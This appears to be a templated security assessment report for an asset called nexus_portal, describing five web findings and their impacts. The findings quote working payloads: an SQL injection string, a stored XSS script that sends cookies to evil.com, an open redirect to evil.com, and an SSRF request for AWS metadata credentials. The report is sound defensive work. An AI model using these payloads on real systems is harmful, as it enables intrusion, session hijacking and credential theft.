Security Assessment Report

nexus_portal

- **Prepared for:** nexus_portal
- **Assessment Period:** 2025/09/01 – 2026/01/31
- **Report Generated:** 2026/02/09
- **Classification:** Confidential

This report presents the findings of the security assessment conducted against nexus_portal during the period 2025/09/01 to 2026/01/31. All identified vulnerabilities have been categorised by severity and include recommended remediation steps where applicable.

Table of Contents

Executive Summary

This assessment of nexus_portal identified a total of 5 security finding(s) across the evaluation period (2025/09/01 to 2026/01/31). The table below provides a breakdown by severity level.

ATTENTION — 1 critical-severity finding(s) were identified that pose an immediate risk to the confidentiality, integrity, or availability of the target system. These should be prioritised for remediation without delay.

Additionally, 2 high-severity finding(s) were identified that represent a significant risk and should be addressed in the short term.

Severity	Count	Risk Level
Critical	1	Immediate remediatio...
High	2	Short-term remediati...
Medium	1	Planned remediation ...
Low	0	Address during regul...
Info	1	Informational / best...

Metric	Value
Total Findings	5
Assessment Period	2025/09/01 – 2026/01/31
Report Date	2026/02/09

Scope and Methodology

The assessment targeted the asset identified as nexus_portal. Testing was performed during the window 2025/09/01 through 2026/01/31 and included both automated scanning and manual analysis techniques.

Findings are classified using a five-tier severity model:

Severity	Description
Critical	Exploitation is trivial and leads...
High	Exploitation is likely and result...
Medium	Exploitation requires specific co...
Low	Limited impact; exploitation is d...
Info	Informational observation or defe...

All findings include a description, the affected location, the current remediation status, and contextual details where relevant.

Findings Overview

The following table provides a high-level summary of all findings identified during the assessment.

#	Severity	Title	Location	Status
1	**Medium**	Open Redirect	https://exa...	Open
2	**Info**	Verbose Err...	https://exa...	Open
3	**Critical**	SQL Injection	https://exa...	Open
4	**High**	Stored XSS ...	https://exa...	Open
5	**High**	Server-Side...	https://por...	In Progress

Detailed Findings

1. Open Redirect

- **Severity:** Medium
- **Asset:** nexus_portal
- **Location:** https://example.com/login?next=https://evil.com
- **Status:** Open

The `next` query parameter on the login page is used in a `302` redirect after successful authentication without validating that the target URL belongs to the application's own domain.

An attacker can craft a phishing link that first sends the victim through the legitimate login page, then redirects them to a credential-harvesting site.

2. Verbose Error Messages

- **Severity:** Info
- **Asset:** nexus_portal
- **Location:** https://example.com/api/search?q=%27
- **Status:** Open

Sending a single quote `'` in the `q` parameter causes the application to return a full stack trace including internal file paths, framework version and database engine details:

```
PG::SyntaxError: ERROR: unterminated quoted string at or near "'"
LINE 1: SELECT * FROM products WHERE name LIKE '%'%'
/app/vendor/bundle/ruby/3.1.0/gems/activerecord-7.0.4/lib/...
```

While not directly exploitable, this information aids further attacks (e.g., confirming PostgreSQL for SQL injection payloads).

[redacted]

3. SQL Injection

- **Severity:** Critical
- **Asset:** nexus_portal
- **Location:** https://example.com/api/users?id=1
- **Status:** Open

The `id` parameter in the `/api/users` endpoint is directly concatenated into a raw SQL query without any parameterisation or input sanitisation. Injecting `1 OR 1=1--` returns the full user table. Further exploitation confirmed the ability to `UNION SELECT` from `information_schema.tables` , exposing the entire database schema.

Impact: Full read access to the database; potential for data exfiltration, privilege escalation or destructive operations.

4. Stored XSS in Comments

- **Severity:** High
- **Asset:** nexus_portal
- **Location:** https://example.com/blog/post/42#comments
- **Status:** Open

The comment body field does not sanitise user-supplied HTML. Submitting `<script>fetch('https://evil.com/steal?c='+document.cookie)</script>` as a comment results in the script executing for every visitor who views the post.

Session cookies lack the `HttpOnly` flag, allowing full session hijack.

5. Server-Side Request Forgery

- **Severity:** High
- **Asset:** nexus_portal
- **Location:** https://portal.nexus.corp/proxy
- **Status:** In Progress

The `/proxy` endpoint fetches a user-supplied URL and returns the response body. No allowlist or blocklist is enforced, enabling requests to internal services. Submitting `url=http://169.254.169.254/latest/meta-data/` returns AWS instance metadata, including IAM role credentials. Internal port scanning was also demonstrated by iterating over `http://10.0.0.1:<port>` and observing response time differences.

Impact: Access to cloud provider metadata and internal network services; potential for credential theft and lateral movement.

Conclusion

This report has documented 5 finding(s) across the assessed target nexus_portal. The severity distribution is summarised below:

Severity	Count
Critical	1
High	2
Medium	1
Low	0
Info	1

Findings rated Critical or High should be addressed as a priority. A reassessment is recommended following remediation to verify that identified issues have been resolved effectively.

This report is confidential and intended solely for the named recipient. Redistribution without authorisation is prohibited.